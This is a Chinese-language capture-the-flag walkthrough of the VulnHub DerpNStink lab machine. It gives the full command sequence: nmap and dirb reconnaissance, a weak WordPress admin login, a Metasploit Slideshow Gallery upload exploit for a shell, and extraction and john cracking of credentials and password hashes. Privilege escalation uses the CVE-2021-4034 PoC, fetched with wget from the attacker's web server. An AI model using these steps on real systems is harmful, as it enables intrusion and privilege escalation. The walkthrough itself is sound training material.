一、靶机下载地址
https://www.vulnhub.com/entry/derpnstink-1,221/
二、信息收集
1、主机发现
# 使用命令
nmap 192.168.145.0/24 -sn | grep -B 2 "00:0C:29:A4:0E:CD"
2、端口扫描
# 使用命令
nmap 192.168.145.198 -p- -sV
3、指纹识别
# 使用命令
whatweb 192.168.145.198
4、目录扫描
# 使用命令
dirsearch -u "http://192.168.145.198"
三、获取shell
1、访问靶机IP地址
2、f12查看网页源代码,发现第一个flag和/webnotes/info.txt文件,并进行访问
info.txt文件内容的大概意思是需要更新本地DNS主机文件,思考应该是需要我们把IP和对应的域名进行添加到hosts文件中,但不知道域名是什么
3、拼接扫描出来的目录/php/phpmyadmin/,发现为数据库登录界面
4、拼接并访问/robots.txt文件,发现/php和/temporary两个目录
5、逐个拼接访问,并没有什么发现
6、使用dirb工具再次进行目录扫描,发现扫出来了更多的路径
# 使用命令
dirb http://192.168.145.198
7、weblog
目录下存在登录页面,测试一下发现进行了域名跳转到:https://derpnstink.local/weblog/,并且页面加载失败
因此可能前面的DNS更新应该是192.168.145.198与derpnstink.local/weblog/的对应关系添加
8、再次访问weblog
,发现访问成功
9、拼接并访问/weblog/wp-admin/,发现为WordPress框架的登录界面
10、尝试弱口令登录,成功 admin/admin
11、修改kali中的hosts文件,将192.168.145.198 derpnstink.local,添加进去
# 使用命令
cd /etc
vim hosts
12、使用wpscan
工具扫描WordPress框架,存在的历史漏洞
# 使用命令
wpscan --url http://derpnstink.local/weblog
13、使用Slideshow Gallery 存在的漏洞,因为我们知道后台的账户密码,所以我们用msf来进行getshell操作,开启msf环境
# 使用命令
msfconsole
search slideshow
use 1
show option
set rhosts 192.168.93.158
set targeturi /weblog/ #设置目标的url目录地址
set wp_user admin
set wp_password admin
run
14、将获取到的shell转变为交互式的shell
# 使用命令
shell
# 获得交互式命令行
python -c 'import pty; pty.spawn("/bin/bash")'
15、翻看配置文件,发现了目标数据库的账号和密码root:mysql
# 使用命令
cd /var/www/html/weblog
ls
cat wp-config.php
16、回到/php/phpmyadmin/页面进行登录,登录成功
17、访问 wp_posts
表发现 flag2.txt
18、在 wp_users
表发现两个账户密码
# 账号:密码
unclestinky:$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41
admin:$P$BgnU3VLAv.RWd3rdrkfVIuQr6mFvpd/
19、使用john工具进行破解,密码为wedgie57
# 使用命令
john --wordlist=/home/kali/Desktop/rockyou.txt hash.txt
20、在靶机home目录下发现两个用户,mrderp/stinky
# 使用命令
cd /home
ls
21、尝试切换到stinky
用户,密码使用刚刚破解得到的wedgie57
# 使用命令
su stinky
22、成功切换到stinky用户,进入到stinky目录并查看当前目录的所有文件,在Desktop目录发现了flag3
# 使用命令
cd Desktop
ls -al
四、提权
1、观察到ubuntu
版本是14.04
,可能存在一个漏洞。我刚开始用的是kali上面的searchsploit
工具命令进行搜索版本利用搜索出来的脚本文件,但失败了,也可能是利用的脚本不对,大家可以多尝试几个脚本,看看能否成功,我在这找了一个有关版本的相关提权文件,有一个本地提权漏洞CVE-2021-4034
, 作用有点类似于sudo
,允许用户以另一个用户身份执行命令
# 提权漏洞利用脚本下载地址
https://github.com/arthepsy/CVE-2021-4034
2、将这个文件下载下来,复制到kali里面,并挂到服务上面,在反弹的交互式shell中,必须要进入tmp目录,否则无法下载,从kali的web端wget下来cve-2021-4034-poc.c,将其gcc编译输出。然后复权运行,即可提权成功。
# 开启临时服务
python3 -m http.server
#下载命令
wget http://192.168.145.146:8000/cve-2021-4034-poc.c
#下载完成之后,权限修改
chmod +x cve-2021-4034-poc.c
#编译脚本
gcc -pthread cve-2021-4034-poc.c -o cve-2021-4034-poc -lcrypt
3、运行脚本,提权成功
# 使用命令
./cve-2021-4034-poc
whoami
id